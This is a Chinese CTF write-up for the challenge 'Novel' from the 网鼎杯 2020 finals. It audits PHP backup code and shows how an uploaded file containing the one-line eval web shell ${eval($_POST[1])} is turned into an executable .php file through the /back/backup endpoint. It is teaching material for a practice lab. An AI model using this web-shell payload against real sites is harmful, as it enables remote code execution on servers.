[网鼎杯 2020 总决赛]Novel

[网鼎杯 2020 总决赛]Novel

解题步骤

下载代码,直接来一波代码审计。index.php关键代码

$parameters=explode('/',explode('?', $request)[0]);
$class=(isset($parameters[1]) && !empty($parameters[1]))?$parameters[1]:'home';
// echo $class;
$method=(isset($parameters[2]) && !empty($parameters[2]))?$parameters[2]:'index';
// echo $method;

$config['class']=$class;
$config['method']=$method;

if(!empty($class)){
    if(in_array($class, array('upload','home','back'))){
        // echo $class;
        $class_init_config=call_user_func($class, $config);
        // print_r($class_init_config);
        new $class_init_config['class']($class_init_config['data']);
    }else{
        header('Location: /');
    }

这里相当于实现了tp的/类/方法的路由模式。因为在类声明里面已经设置了方法传参限制。upload里面没有什么可利用的,但是在back类里面有利用点

function __construct($config){
        $this->filename=$config['filename'];
        $this->method=$config['method'];
        $this->dest=$config['dest'];
        // var_dump($config);
        if(in_array($this->method, array('backup'))){
            $this->{$this->method}($this->filename, $this->dest);
        }else{
                header('Location: /');
        }
    }

    public function backup($filename, $dest){
        $filename='profile/'.$filename;
        if(file_exists($filename)){
            $content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES);
            $password=$this->random_code();
            $r['path']=$this->_write($dest, $this->_create($password, $content));
            $r['password']=$password;
            echo json_encode($r);
        }
    }

    /* 先验证保证为备份文件后,再保存为私藏文件 */
    private function _write($dest, $content){
        $f1=$dest;
        $f2='private/'.$this->random_code(10).".php";

        $stream_f1 = fopen($f1, 'w+');

        fwrite($stream_f1, $content);
        rewind($stream_f1);
        $f1_read=fread($stream_f1, 3000);

        preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches);

        if(!empty($matches[0])){
            copy($f1,$f2);
            fclose($stream_f1);   
            return $f2;     
        }else{
            fwrite($stream_f1, '<?php exit(); ?>');
            fclose($stream_f1);
            return false;
        }

    }

    private function _create($password, $content){
        $_content='<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ';
        return $_content;
    }

认真分析一波。发现这个类会把已上传的文件备份为php文件,这直接起飞了。过滤了html标签,不能用?>闭合,但是可以用php复杂变量进行写shell。
先上传一个asd.txt文件,内容为${eval($_POST[1])}。然后去到/back/backup,POST:filename=asd.txt&dest=asd.txt,然后就会给你路径和密码,直接打开,蚁剑一把嗦即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇